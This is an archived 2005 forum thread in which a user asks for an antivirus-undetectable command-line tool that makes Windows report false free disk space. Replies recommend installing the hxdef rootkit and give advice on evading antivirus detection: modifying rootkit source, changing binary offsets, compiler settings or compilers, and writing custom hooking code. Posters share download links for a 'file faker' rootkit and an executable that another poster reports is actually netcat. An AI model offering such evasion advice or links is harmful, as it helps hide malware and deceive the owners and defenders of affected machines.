Presnus
Jan 17 2005, 09:05 AM
Hello ,
Is there a cmdline tool to fake HD space like you set it on 3.5giga free and it stays 3.5 in windows but actually there's just 1gig free
Thx ...
Greets
Presnus
wiNGCom
Jan 17 2005, 09:08 AM
You could use a rootkit? its installable via the commandline and most of em offer disk space faking. www.rootkit.com and look for hxdef or something.
you could also write your own...
cheers
wingcom
Presnus
Jan 17 2005, 09:21 AM
QUOTE(wiNGCom @ Jan 17 2005, 09:08 AM)
You could use a rootkit? its installable via the commandline and most of em offer disk space faking. www.rootkit.com and look for hxdef or something.
you could also write your own...
cheers
wingcom
But I need one that isn't detectable by Antivirus.....
wiNGCom
Jan 17 2005, 09:59 AM
well then you need to write your own or better adapt the source code which comes with most of them.
I'm not sure if it would work if you just change the binary offset... i never needed it yet.
You could also mess with some compiler settings when compiling the original source code (fast, optimal etc) or use a different compiler (like the intel c-compiler, as this one seems to bypass av sometimes) of course hxdef is mainly written in delphi but there are others...
if you mess with it long enough you will get it undetected. Still, writing your own hooking code is the best.
lev
Jan 21 2005, 06:05 PM
QUOTE(Presnus @ Jan 17 2005, 09:05 AM)
Hello ,
Is there a cmdline tool to fake HD space like you set it on 3.5giga free and it stays 3.5 in windows but actually there's just 1gig free
Thx ...
Greets
Presnus
File faker for NTFS v1.1 - hxxp://rootkit.host.sk/download/faker11.zip
greatdane
Apr 10 2005, 01:47 PM
File faker for NTFS v1.1 - hxxp://rootkit.host.sk/download/faker11.zip
has ne1 a working link please ?
tibbar
Apr 10 2005, 01:53 PM
google is your friend on this one i believe.
goobers
Apr 10 2005, 02:20 PM
QUOTE(greatdane @ Apr 10 2005, 01:47 PM)
File faker for NTFS v1.1 - hxxp://rootkit.host.sk/download/faker11.zip
has ne1 a working link please ?
The link works fine.. looks like u tried it with hxxp://.. just change that to an http:// and you should be fine.
greatdane
Apr 23 2005, 12:38 PM
QUOTE(goobers @ Apr 10 2005, 02:20 PM)
QUOTE(greatdane @ Apr 10 2005, 01:47 PM)
File faker for NTFS v1.1 - hxxp://rootkit.host.sk/download/faker11.zip
has ne1 a working link please ?
The link works fine.. looks like u tried it with hxxp://.. just change that to an http:// and you should be fine.
woops thx
ScuD
Apr 24 2005, 03:37 AM
CODE
http://users.pandora.be/scud/gov/ntfsd.exe
just in case the other link goes down
grtz
Titus
Apr 24 2005, 04:17 AM
QUOTE(ScuD @ Apr 24 2005, 05:37 AM)
CODE
http://users.pandora.be/scud/gov/ntfsd.exe
just in case the other link goes down
grtz
ntfsd -h shows me that its nc :?
This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please
click here.